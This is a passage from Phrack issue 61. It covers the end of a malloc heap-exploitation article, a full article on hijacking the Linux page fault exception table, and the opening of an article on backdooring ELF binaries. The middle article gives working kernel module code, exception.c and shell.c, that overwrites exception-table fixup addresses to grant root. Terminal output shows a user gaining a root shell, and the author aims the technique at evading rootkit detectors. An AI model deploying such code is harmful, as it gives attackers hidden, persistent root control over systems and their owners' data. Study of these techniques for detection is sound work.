     The Frame Pointer Overwrite
     klog
[13] http://www.phrack.org/show.php?p=59&a=9
     Bypassing PaX ASLR protection
     p59_09@author.phrack.org
[14] http://phrack.org/show.php?p=58&a=4
     The advanced return-into-lib(c) exploits
     Nergal
    


---------------------------------------------------------------------------
Appendix I - malloc internal structures overview

This appendix contains a brief overview about some details of malloc
inner workings we need to have in mind in order to fully understand most
of the techniques explained in this paper.

Free consolidated 'chunks' of memory are maintained mainly
(forgetting the top chunk and the last_remainder chunk) in
circular double-linked lists, which are initially empty and evolve
with the heap layout. The circularity of these lists is very important
for us, as we'll see later on.

A 'bin' is a pair of pointers from where these lists hang.  There
exist 128 (#define NAV 128) bins, which may be 'small' bins or 'big
bins'. Small bins contain equally sized chunks, while big bins are
composed of not the same size chunks, ordered by decreasing size.

These are the macros used to index into bins depending of its size:

#define MAX_SMALLBIN         63
#define MAX_SMALLBIN_SIZE   512
#define SMALLBIN_WIDTH        8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3)
#define bin_index(sz)                                                         \
(((((unsigned long)(sz)) >> 9) ==    0) ?       (((unsigned long)(sz)) >>  3):\
 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  6):\
 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  9):\
 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 12):\
 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 15):\
 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
                                          126)

From source documentation we know that 'an arena is a configuration
of malloc_chunks together with an array of bins. One or more 'heaps'
are associated with each arena, except for the 'main_arena', which is
associated only with the 'main heap', i.e. the conventional free
store obtained with calls to MORECORE()...', which is the one we are
interested in.

This is the way an arena looks like...

typedef struct _arena {
  mbinptr av[2*NAV + 2];
  struct _arena *next;
  size_t size;
#if THREAD_STATS
  long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif

'av' is the array where bins are kept.

These are the macros used along the source code to access the bins,
we can see the first two bins are never indexed; they refer to the
topmost chunk, the last_remainder chunk and a bitvector used to
improve seek time, though this is not really important for us.

    /* bitvector of nonempty blocks */
#define binblocks(a)      (bin_at(a,0)->size)
    /* The topmost chunk */
#define top(a)            (bin_at(a,0)->fd)  
    /* remainder from last split */
#define last_remainder(a) (bin_at(a,1))      

#define bin_at(a, i)   BOUNDED_1(_bin_at(a, i))
#define _bin_at(a, i)  ((mbinptr)((char*)&(((a)->av)[2*(i)+2]) - 2*SIZE_SZ))


Finally, the main_arena...

#define IAV(i) _bin_at(&main_arena, i), _bin_at(&main_arena, i)
static arena main_arena = {
    {
 0, 0,
 IAV(0),   IAV(1),   IAV(2),   IAV(3),   IAV(4),   IAV(5),   IAV(6),   IAV(7),
 IAV(8),   IAV(9),   IAV(10),  IAV(11),  IAV(12),  IAV(13),  IAV(14),  IAV(15),
 IAV(16),  IAV(17),  IAV(18),  IAV(19),  IAV(20),  IAV(21),  IAV(22),  IAV(23),
 IAV(24),  IAV(25),  IAV(26),  IAV(27),  IAV(28),  IAV(29),  IAV(30),  IAV(31),
 IAV(32),  IAV(33),  IAV(34),  IAV(35),  IAV(36),  IAV(37),  IAV(38),  IAV(39),
 IAV(40),  IAV(41),  IAV(42),  IAV(43),  IAV(44),  IAV(45),  IAV(46),  IAV(47),
 IAV(48),  IAV(49),  IAV(50),  IAV(51),  IAV(52),  IAV(53),  IAV(54),  IAV(55),
 IAV(56),  IAV(57),  IAV(58),  IAV(59),  IAV(60),  IAV(61),  IAV(62),  IAV(63),
 IAV(64),  IAV(65),  IAV(66),  IAV(67),  IAV(68),  IAV(69),  IAV(70),  IAV(71),
 IAV(72),  IAV(73),  IAV(74),  IAV(75),  IAV(76),  IAV(77),  IAV(78),  IAV(79),
 IAV(80),  IAV(81),  IAV(82),  IAV(83),  IAV(84),  IAV(85),  IAV(86),  IAV(87),
 IAV(88),  IAV(89),  IAV(90),  IAV(91),  IAV(92),  IAV(93),  IAV(94),  IAV(95),
 IAV(96),  IAV(97),  IAV(98),  IAV(99),  IAV(100), IAV(101), IAV(102), IAV(103),
 IAV(104), IAV(105), IAV(106), IAV(107), IAV(108), IAV(109), IAV(110), IAV(111),
 IAV(112), IAV(113), IAV(114), IAV(115), IAV(116), IAV(117), IAV(118), IAV(119),
 IAV(120), IAV(121), IAV(122), IAV(123), IAV(124), IAV(125), IAV(126), IAV(127)
    },
    &main_arena, /* next */
    0, /* size */
#if THREAD_STATS
    0, 0, 0, /* stat_lock_direct, stat_lock_loop, stat_lock_wait */
#endif
    MUTEX_INITIALIZER /* mutex */
};

The main_arena is the place where the allocator stores the 'bins' to which
the free chunks are linked depending on they size. 

The little graph below resumes all the structures detailed before:

<main_arena> @ libc's DATA

   [bin_n]         (first chunk)
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd
                                               [    chunk
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk
 [bin_n+1]         (last chunk)

     .
     .
     .

   [bin_X]
      ptr] ---->  [<-  fd
                  [    lonely but interesting chunk
      ptr] ---->  [<-  bk
     .
     .

|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x07 of 0x0f

|=-------------=[ Hijacking Linux Page Fault Handler ]=------------------=|
|=-------------=[            Exception Table         ]=------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ buffer <buffer@antifork.org> ]=---------------------=|
|=------------------[ http://buffer.antifork.org ]=----------------------=|



--[ Contents

    
    1.  Introduction
    2.  System Calls and User Space Access
    3.  Page Fault Exception
    4.  Implementation
    5.  Further Considerations
    6.  Conclusions
    7.  Thanks
    8.  References



--[ 1 - Introduction


"Just another Linux LKM"... that's what you could think reading this
article, but I think it's not correct. In the past years, we have seen a
lot of techniques for hiding many kinds of things, e.g. processes, network
connection, files, etc. etc., through the use of LKM's. The first
techniques were really simple to understand. The real problem with these
techniques is that they are easy to detect as well. If you replace an
address in the syscall table, or if you overwrite the first 7 bytes within
syscall code (as described by Silvio Cesare [4]), it's quite easy for
tools such as Kstat [5] and/or AngeL [6] to identify these malicious
activities. Later, more sophisticated techniques were presented. An
interesting technique was proposed by kad, who suggested modifying the
Interrupt Descriptor Table in such a way so as to redirect an exception
raised from User Space code (such as the "Divide Error") to execute a new
handler whose address replaced the original one in the IDT entry [7]. This
idea is pretty but it has two disadvantages:

1- it's detectable using an approach based on hash values computed on the
whole IDT, as shown by AngeL in its latest 0.9.x releases. This is mainly
due to the fact that the address at which the IDT lives in kernel memory
can be easily obtained since its value is stored in %idtr register. This
register can be read with the asm instruction sidt which allows to store
it in a variable.

2- if a user code executes a division by 0 (it may happen... ) a strange
behaviour could appear. Yes, someone could think that this is uncommon if
we choose the right handler, but what if there is a safer solution?

The idea I'm proposing has just one goal: to provide effective stealth
against all tools used for identifying malicious LKM's. The technique is
based on a kernel feature which is never used in practice. In fact, as we
are going to see, we will be exploiting a general protection mechanism in
the memory management subsystem. This mechanism is used only if a user
space code is deeply bugged and this is not usually the case.

No more words let's start!



--[ 2 - System Calls and User Space Access


First of all, a bit of theory. I'll refer to Linux kernel 2.4.20, however
the code is almost the same for kernels 2.2. In particular we are
interested in what happens in some situations when we need to ask a kernel
feature through a syscall. When a syscall is called from User Space
(through software interrupt 0x80) the system_call() exception handler is
executed. Let's take a look to its implementation, found in 
arch/i386/kernel/entry.S.


ENTRY(system_call)
        pushl %eax                      # save orig_eax
        SAVE_ALL
        GET_CURRENT(%ebx)
        testb $0x02,tsk_ptrace(%ebx)    # PT_TRACESYS
        jne tracesys
        cmpl $(NR_syscalls),%eax
        jae badsys
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
        movl %eax,EAX(%esp)             # save the return value
[..]


As we can easily see, system_call() saves all registers' contents in the
Kernel Mode stack. It then derives a pointer to the task_struct structure
of the currently executing process by calling GET_CURRENT(%ebx). Some
checks are done to verify the correctness of syscall number and to see if
the process is currently being traced. Finally the syscall is called by
using sys_call_table, which maintains the addresses of the syscalls, by
using the syscall number saved in %eax as an offset within the table. Now
let's take a look at some particular syscalls. For our purposes, we are
searching for syscalls which take a User Space pointer as an argument. I
chose sys_ioctl() but there are other ones with a similar behaviour.


asmlinkage long sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long
arg)
{
        struct file * filp;
        unsigned int flag;
        int on, error = -EBADF;
[..]

	 case FIONBIO:
               if ((error = get_user(on, (int *)arg)) != 0)
                       break;
               flag = O_NONBLOCK;
[..]


The macro get_user() is used to copy data from User Space to Kernel Space.
In this case, we are directing our attention at the code for setting non
blocking I/O on the file descriptor passed to the syscall. An example of
correct use, from User Space, of this feature could be :


	int	on = 1;

	ioctl(fd, FIONBIO, &on); 


Let's take a look at the get_user() implementation which can be found in
include/asm/uaccess.h.


#define __get_user_x(size,ret,x,ptr) \
        __asm__ __volatile__("call __get_user_" #size \
                :"=a" (ret),"=d" (x) \
                :"0" (ptr))
        
/* Careful: we have to cast the result to the type of the pointer for sign
reasons */
#define get_user(x,ptr)                                                 \
({      int __ret_gu,__val_gu;                                          \
        switch(sizeof (*(ptr))) {                                       \
        case 1:  __get_user_x(1,__ret_gu,__val_gu,ptr); break;          \
        case 2:  __get_user_x(2,__ret_gu,__val_gu,ptr); break;          \
        case 4:  __get_user_x(4,__ret_gu,__val_gu,ptr); break;          \
        default: __get_user_x(X,__ret_gu,__val_gu,ptr); break;          \
        }                                                               \
        (x) = (__typeof__(*(ptr)))__val_gu;                             \
        __ret_gu;                                                       \
})


As we can see, get_user() is implemented in a very smart way because it
calls the right function basing on the size of the argument to be copied
from User Space. Depending on the value of (sizeof (*(ptr))) __get_user_1()
, __get_user_2() or __get_user_4(), would be called.

Now let's take a look at one of these functions, __get_user_4(), which can
be found in arch/i386/lib/getuser.S.



addr_limit = 12

[..]

.align 4
.globl __get_user_4
__get_user_4:
        addl $3,%eax
        movl %esp,%edx
        jc bad_get_user
        andl $0xffffe000,%edx
        cmpl addr_limit(%edx),%eax
        jae bad_get_user
3:      movl -3(%eax),%edx
        xorl %eax,%eax
        ret
  
bad_get_user:
        xorl %edx,%edx
        movl $-14,%eax
        ret
  
.section __ex_table,"a"
        .long 1b,bad_get_user
        .long 2b,bad_get_user
        .long 3b,bad_get_user
.previous


The last lines between .section and .previous identify the exception table
which we'll discuss later since it's important for our purposes. 

As it can be seen, the __get_user_4() implementation is straightforward.
The argument address is in the %eax register. By adding 3 to %eax, it's
possible to obtain the greatest User Space referenced address. It's
necessary to control if this address is in the User Mode addressable range
(from 0x00000000 to PAGE_OFFSET - 1, where PAGE_OFFSET is usually
0xc0000000). 

If, when comparing the User Space address with current->addr_limit.seg
(stored at offset 12 from the beginning of the task descriptor, whose
pointer was obtained by zeroing the last 13 bits of the Kernel Mode stack
pointer) we find it is greater than PAGE_OFFSET - 1, we jump to the label
bad_get_user thus zeroing %edx and putting -EFAULT (-14) in %eax (syscall
return value).

But what happens if this address is in the User Mode addressable range
(below PAGE_OFFSET) but outside the process address space? Did someone say
Page Fault?!



--[ 3 - Page Fault Exception


"A page fault exception is raised when the addressed page is not present in
memory, the corresponding page table entry is null or a violation of the
paging protection mechanism has occurred." [1]

Linux handles a page fault exception with the page fault handler
do_page_fault(). This handler can be found in arch/i386/mm/fault.c

In particular, we are interested in the three cases which may occur when a
page fault exception occurs in Kernel Mode.

In the first case, "the kernel attempts to address a page belonging to the
process address space, but either the corresponding page frame does not
exist (Demand Paging) or the kernel is trying to write a read-only page
(Copy On Write)." [1]

In the second case, "some kernel function includes a programming bug that
causes the exception to be raised when the program is executed;
alternatively, the exception might be caused by a transient hardware
error." [1]

This two cases are not interesting for our purposes.

The third (and interesting) case is when "a system call service routine
(such as sys_ioctl() in our example) attempts to read or write into a
memory area whose address has been passed as a system call parameter, but
that address does not belong to the process address space." [1]

The first case is easily identified by looking at the process memory
regions. If the address which caused the exception belongs to the process
address space it will fall within a process memory region. This is not
interesting for our purposes.

The interesting thing is how the kernel can distinguish between the second
and the third case. The key to determining the source of a page fault lies
in the narrow range of calls that the kernel uses to access the process
address space.

For this purpose, the kernel builds an exception table in kernel memory.
The boundaries of such region are defined by the symbols
__start___ex_table and __stop___ex_table. Their values can be easily
derived from System.map in this way.


buffer@rigel:/usr/src/linux$ grep ex_table System.map 
c0261e20 A __start___ex_table
c0264548 A __stop___ex_table
buffer@rigel:/usr/src/linux$


What's the content of this memory region? In this region you could find
couples of address. The first one (insn) represents the address of the
instruction (belonging to a function which accesses the User Space address
range, such as the ones previously described) which may raise a page
fault. The second one (fixup) is a pointer to the "fixup code".

When a page fault occurs within the kernel and the first case (demand
paging or copy on write) is not verified, the kernel checks if the address
which caused the page fault matches an insn entry in the exception table.
If it doesn't, we are in the second case and the kernel raises an Oops.
Otherwise, if the address matches an insn entry in the exception table, we
are in the third case since the page fault exception was raised while
accessing a User Space address. In this case, the control is passed to the
function whose address is specified in the exception table as fixup code.

This is done by simply doing this.


if ((fixup = search_exception_table(regs->eip)) != 0) {
                regs->eip = fixup;
                return;
        }


The function search_exception_table() searches for an insn entry in the
exception table which matches the address of the instruction which raised
the page fault. If it's found, it means the page fault exception was
raised during an access to a User Space address. In this case, regs->eip
is pointed to the fixup code and then do_page_fault() returns thus jumping
to the fixup code.

It is obvious to realize that the three functions __get_user_x(), which
access User Space addresses, must have a fixup code for handling
situations like the one depicted before.

Going back let's take a look again at __get_user_4()


.align 4
.globl __get_user_4
__get_user_4:
        addl $3,%eax
        movl %esp,%edx
        jc bad_get_user
        andl $0xffffe000,%edx
        cmpl addr_limit(%edx),%eax
        jae bad_get_user
3:      movl -3(%eax),%edx
        xorl %eax,%eax
        ret

bad_get_user:
        xorl %edx,%edx
        movl $-14,%eax
        ret

.section __ex_table,"a"
        .long 1b,bad_get_user
        .long 2b,bad_get_user
        .long 3b,bad_get_user
.previous


First of all, looking at the code, we should point our attention to the GNU
Assembler .section directive which allows the programmer to specify which
section of the executable file will contain the code that follows. The "a"
attribute specifies that the section must be loaded in memory together
with the rest of the kernel image. So, in this case, the three entries are
inserted in the kernel exception table and are loaded with the rest of the
kernel image.

Now, taking a look at __get_user_4() there's an instruction labeled with a
3.


3:      movl -3(%eax),%edx


If we added 3 to %eax (it is done in the first instruction of the function
__get_user_4() for checking purposes as outlined before), -3(%eax) is the
starting address of the 4-byte argument to copy from User Space. So, this
is the instruction which really accesses User Space address. Take a look
at the last entry in the exception table


	.long 3b,bad_get_user


If you know that the suffix b stands for 'backward' to indicate that the
label appears in a previous line of code (and so simply ignore it just for
understanding the meaning of this code), you could realize that here we
have


	insn  :	 address of   movl -3(%eax),%edx
 	fixup :  address of   bad_get_user


Well guys what we are realizing here is that bad_get_user is the fixup code
for the function __get_user_4() and it will be called every time the
instruction labeled 3 raises a page fault. This is obviously still true for
__get_user_1() and __get_user_2().

At this point we need bad_get_user address.


buffer@rigel:/usr/src/linux$ grep bad_get_user System.map
c022f39c t bad_get_user
buffer@rigel:/usr/src/linux$


If you compile exception.c (shown later) with flag FIXUP_DEBUG set, you'll
see this in your log files which clearly shows what I said before.


May 23 18:36:35 rigel kernel:  address : c0264530 insn: c022f361 
			       fixup : c022f39c 
May 23 18:36:35 rigel kernel:  address : c0264538 insn: c022f37a 
			       fixup : c022f39c 
May 23 18:36:35 rigel kernel:  address : c0264540 insn: c022f396 
			       fixup : c022f39c


buffer@rigel:/usr/src/linux$  grep __get_user_ System.map  
c022f354 T __get_user_1 
c022f368 T __get_user_2 
c022f384 T __get_user_4


Looking at the first entry in the exception table, we can easily realize
that 0xc022f39c is the address of the instruction labeled 3 in the source
code within __get_user_4() which may raise the page fault as outlined
before. Obviously, the situation is similar for the other two functions.

Now the idea should be clear. If I replace a fixup code address in the
exception table and then from User Space I just call a syscall with a bad
address argument I can force the execution of whatever I want. And for
doing this I need to modify just 4 bytes! Moreover, this appears to be
particulary stealth since this situation is not so common. In fact, for
raising this behaviour, it's necessary that the program you will execute
contain a bug in passing an argument to a syscall. If you know this can
lead to something interesting you could even do it but this situation is
very uncommon. In the next section I present a proof of concept which
shows how to exploit what I discussed. In this example, I modified fixup
code addresses of the three __get_user_x() functions.



--[ 4 - Implementation


This is the LKM code. In this code, I hardcoded some values taken from my
System.map file but it's not needed to edit the source file since these
values can be passed to the module when calling insmod for linking it to
the kernel. If you want more verbosity in the log files, compile it with
the flag -DFIXUP_DEBUG (as done for showing results presented before).



---------------[ exception.c ]----------------------------------------

/*
 * Filename: exception.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */

#ifndef __KERNEL__
#define __KERNEL__
#endif

#ifndef MODULE
#define MODULE
#endif

#define __START___EX_TABLE 0xc0261e20
#define __END___EX_TABLE   0xc0264548
#define BAD_GET_USER       0xc022f39c

unsigned long start_ex_table = __START___EX_TABLE;
unsigned long end_ex_table = __END___EX_TABLE;
unsigned long bad_get_user = BAD_GET_USER;

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>

#ifdef FIXUP_DEBUG
#  define PDEBUG(fmt, args...) printk(KERN_DEBUG "[fixup] : " fmt, ##args)
#else
#  define PDEBUG(fmt, args...) do {} while(0)
#endif

MODULE_PARM(start_ex_table, "l");
MODULE_PARM(end_ex_table, "l");
MODULE_PARM(bad_get_user, "l");


struct old_ex_entry {
        struct old_ex_entry     *next;
        unsigned long           address;
        unsigned long           insn;
        unsigned long           fixup;
};
  
struct old_ex_entry *ex_old_table;

void hook(void) 
{
        printk(KERN_INFO "Oh Jesus... it works!\n");
} 

void cleanup_module(void)
{
        struct old_ex_entry     *entry = ex_old_table;
        struct old_ex_entry     *tmp;

        if (!entry)
                return;

        while (entry) {
                *(unsigned long *)entry->address = entry->insn;
                *(unsigned long *)((entry->address) + sizeof(unsigned
long)) = entry->fixup;
                tmp = entry->next;
                kfree(entry);
                entry = tmp;
        }

        return;
}


int init_module(void)
{
        unsigned long       insn = start_ex_table;
        unsigned long       fixup;
        struct old_ex_entry *entry, *last_entry;

        ex_old_table = NULL;
        PDEBUG(KERN_INFO "hook at address : %p\n", (void *)hook);

        for(; insn < end_ex_table; insn += 2 * sizeof(unsigned long)) {

                fixup = insn + sizeof(unsigned long);

                if (*(unsigned long *)fixup == BAD_GET_USER) {

                        PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
                                        (void *)insn, *(unsigned long *)insn,
                                        *(unsigned long *)fixup);
        
                        entry = (struct old_ex_entry *)kmalloc(GFP_ATOMIC,
					sizeof(struct old_ex_entry));
        
                        if (!entry)
                                return -1;

                        entry->next = NULL;
                        entry->address = insn;
                        entry->insn = *(unsigned long *)insn;
                        entry->fixup = *(unsigned long *)fixup;

                        if (ex_old_table) {
                                last_entry = ex_old_table;
        
                        	while(last_entry->next != NULL)
                                	last_entry = last_entry->next;

                                last_entry->next = entry;
                        } else
                                ex_old_table = entry;
                
                        *(unsigned long *)fixup = (unsigned long)hook;
                
                        PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
                                        (void *)insn, *(unsigned long *)insn,
                                        *(unsigned long *)fixup);


                }

        }

        return 0;
}
        
MODULE_LICENSE("GPL");

-------------------------------------------------------------------------



And now a simple code which calls ioctl(2) with a bad argument.



---------------- [ test.c ]----------------------------------------------


/*
 * Filename: test.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

int main()
{
        int     fd;
        int     res;

        fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
        res = ioctl(fd, FIONBIO, NULL);
        printf("result = %d errno = %d\n", res, errno);
        return 0;
}

-------------------------------------------------------------------------


Ok let's look if it works.


buffer@rigel:~$ gcc -I/usr/src/linux/include -O2 -Wall -c exception.c 
buffer@rigel:~$ gcc -o test test.c
buffer@rigel:~$ ./test 
result = -1 errno = 14


As we expected, we got an EFAULT error (errno = 14). 
Let's try to link our module now.


buffer@rigel:~$ su 
Password: 
bash-2.05b# insmod exception.o
bash-2.05b# exit
buffer@rigel:~$ ./test 
result = 25 errno = 0
buffer@rigel:~$ 


Looking at /var/log/messages


bash-2.05b# tail -f /usr/adm/messages
[..]
May 23 21:31:56 rigel kernel: Oh Jesus... it works!


Seems it works fine! :)
What can we do now?! Try to take a look at this!

Just changing the previous hook() function with this simple one


	void hook(void) 
	{
        	current->uid = current->euid = 0;
	}


and using this user space code for triggering the page fault handler



------------ shell.c -----------------------------------------------------


/*
 * Filename: shell.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

int main()
{
        int     fd;
        int     res;
        char    *argv[2];

        argv[0] = "/bin/sh";
        argv[1] = NULL;

        fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
        res = ioctl(fd, FIONBIO, NULL);
        printf("result = %d errno = %d\n", res, errno);
        execve(argv[0], argv, NULL);
        return 0;
}

--------------------------------------------------------------------------


buffer@rigel:~$ su  
Password: 
bash-2.05b# insmod exception.o 
bash-2.05b# exit
buffer@rigel:~$ gcc -o shell shell.c 
buffer@rigel:~$ id
uid=500(buffer) gid=100(users) groups=100(users)
buffer@rigel:~$ ./shell 
result = 25 errno = 0
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users)
sh-2.05b# 


Really nice, isn't it? :)

This is just an example of what you can do. Using this LKM, you are able
to execute anything as if you were root. Do you need something else? Well
what you need is simply modifying hook() and/or user space code which
raises Page Fault exception... it's up to your fantasy now! 



-- [ 5 - Further Considerations


When this idea came to my mind I wasn't able to realize what I really did.
It came out just as the result of an intellectual masturbation. Just few 
hours later I understood...

Think about what you need for changing an entry in the syscall table for
redirecting a system call. Or think about what you need for modifying the
first 7 bytes of a syscall code as outlined by Silvio. What you need is
simply a "reference mark". Here, your "reference mark" is the exported
symbol sys_call_table in both cases. But, unfortunately, you're not the
only one who knows it. Detection tools can easily know it (since it's an
exported symbol) and so it's quite simple for them to detect changes in
the syscall table and/or in the system call code.

What if you want to modify the Interrupt Descriptor Table as outlined by
kad? You need a "reference mark" as well. In this case, the "reference
mark" is the IDT address in the kernel memory. But this address is easy to
retrieve too and what a detection tool needs to obtain it is simply this


	long long idtr; 
	long __idt_table;

	__asm__ __volatile__("sidt %0\n" : : "m"(idtr)); 
	__idt_table = idtr >> 16;


As result, __idt_table will store the IDT address thus easily obtaining the
"reference mark" to the IDT. This is done through using sidt asm
instruction. AngeL, in its latest development releases 0.9.x, uses this
approach and it's able to detect in real-time an attack based on what
stated in [7].

Now think again about what I discussed in the previous sections. It's easy
to understand that obtaining a "reference mark" to the page fault
exception table is not so straightforward as in the previous cases. 

The only way for retrieving the page fault exception table address is 
through System.map file. 

While writing a detection tool whose aim is to detect this kind of attack,
making the assumption that the System.map file refers to the currently
running kernel could be counterproductive. In fact, if it weren't true,
the detection tool could start monitor addresses where not important
(obviously for the purposes of this article) kernel data reside.

Remember that it's easy to generate a System.map file through using nm(2)
but there are a lot of systems out there whose administrators simply
ignore the role of System.map and don't maintain it synchronized with the
currently running kernel.  



-- [ 6 - Conclusions


Modifying the page fault handler exception table is quite simple as we
realized. Moreover, it is really stealth since it's possible to obtain
great results just modifying 4 bytes in the kernel memory. In my proof of
concept code, for the sake of simplicity, I modified 12 bytes but it's
easy to realize that it's possible to obtain the same result just
modifying the __get_user_4() fixup code address.

Moreover, it's difficult to find out there programs with bugs of this kind
which raise this kind of behaviour. Remember that for raising this
behaviour you have to pass a wrong address to a syscall. How many programs
doing this have you seen? I think that this kind of approach is really
stealth since this situation is never encountered. In fact, these are bugs
that, if present, are usually corrected by the author before distributing
their programs. The kernel must implement the approach outlined before but
it usually never needs to execute it. 




-- [ 7 - Thanks


Many thanks to Antifork Research guys... really cool to work with you! 




-- [ 8 - References


 [1] "Understanding the Linux Kernel"
     Daniel P. Bovet and Marco Cesati
     O'Reilly 

 [2] "Linux Device Drivers"
      Alessandro Rubini and Jonathan Corbet
      O'Reilly 

 [3] Linux kernel source
     [http://www.kernel.org]

 [4] "Syscall Redirection Without Modifying the Syscall Table"
     Silvio Cesare
     [http://www.big.net.au/~silvio/]
    
 [5] Kstat
     [http://www.s0ftpj.org/en/tools.html]

 [6] AngeL
     [http://www.sikurezza.org/angel]

 [7] "Handling Interrupt Descriptor Table for Fun and Profit"
     kad 
     Phrack59-0x04
     [http://www.phrack.org]



|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------


			      ==Phrack Inc.==

               Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f

|=---------- .:: Devhell Labs and Phrack Magazine present ::. ----------=|
|=----------------------------------------------------------------------=|
|=------------------=[  The Cerberus ELF Interface  ]=------------------=|
|=----------------------------------------------------------------------=|
|=------------------=[  mayhem <mayhem@devhell.org> ]=------------------=|


 1. Introduction
 2. Quick and usable backdoor in 4 bytes
    a/ The .dynamic section
    b/ DT_NEEDED and DT_DEBUG entries
    c/ Performing function hijacking
    d/ Example 1: ls and opendir()
 3. Residency : ET_REL injection into ET_EXEC
    a/ Section injection : pre-interp vs post-bss
    b/ Multiple BSS merging
    c/ Symbol tables merging
    d/ Mixing (a,b,c) for injecting a module into an executable
    e/ Example 2: sshd and crypt()
    f/ Multi-architecture algorithms
    g/ ELFsh 0.51b relocation engine implementation details
 4. Infection : ALTPLT technique
    a/ Foundations of ALTPLT
    b/ ALTPLT on SPARC
    c/ Example 3: md5sum and fopen64()
    d/ Multi-architecture algorithm			
    e/ Improvement suggestions for the redir command
 5. The end ?
 6. Greets
 7. References


-------[ 1. Introduction


	 This article introduces three new generic techniques in ELF
	 (Executable and Linking Format) objects manipulation. The first
	 presented one is designed to be simple and quickly implemented,
	 others are more complex and allow advanced software extension
	 without having the source tree. These techniques can be used for
	 a wide panel of requirements such as closed-source software
	 debugging, software extension, backdooring, virii writing, 
	 intrusion detection and intrusion prevention.

	 The examples will make use of the ELF shell [1], a freely
	 available scripting language to modify ELF binaries. It works
	 on two architectures (INTEL and SPARC) and four operating
	 systems (Linux, NetBSD, FreeBSD, and Solaris). Moreover the
	 techniques work even if the target machine is installed with
	 address space randomization and execution restriction, such as
	 PaX [2] protected boxes, since all the code injection is done
	 in the allowed areas. 

	 ELF basics -will not- be explained, if you have troubles 
	 understanding the article, please read the ELF TIS [3] reference
	 before requesting extra details ;). You can also try another
	 resource [4] which is a good introduction to the ELF format, 
	 from the virus writing perspective.

	 In the first part of the paper, an easy and pragmatic technique 
	 for backdooring an executable will be described, just by
	 changing 4 bytes. It consists of corrupting the .dynamic section 
	 of the binary (2) and erase some entries (DT_DEBUG) for adding 
	 others (DT_NEEDED), plus swapping existing DT_NEEDED entries to 
	 give priority to certain symbols, all of this without changing 
	 the file size.

	 The second part describes a complex residency technique, which 
	 consists of adding a module (relocatable object ET_REL, e.g. a
	 .o file) into an executable file (ET_EXEC) as if the binary was
	 not linked yet. This technique is provided for INTEL and SPARC
	 architectures : compiled C code can thus be added permanently
	 to any ELF32 executable.

	 Finally, a new infection technique called ALTPLT (4) will be
	 explained. This feature is an extension of PLT infection [5]
	 and works in correlation with the ET_REL injection. It consists
	 of duplicating the Procedure Linkage Table and inject symbols
	 onto each entry of the alternate PLT. The advantages of this
	 technique are the relative portability (relative because we will
	 see that minor architecture dependant fixes are necessary), its
	 PaX safe bevahior as well, and the ability to call the original
	 function from the hook function without having to perform
	 painful tasks like runtime byte restoration.

	 Example ELFsh scripts are provided for all the explained
	 techniques. However, no ready-to-use backdoors will be included 
	 (do you own!). For peoples who did not want to see these
	 techniques published, I would just argue that all of
	 them have been available for a couple of months for those
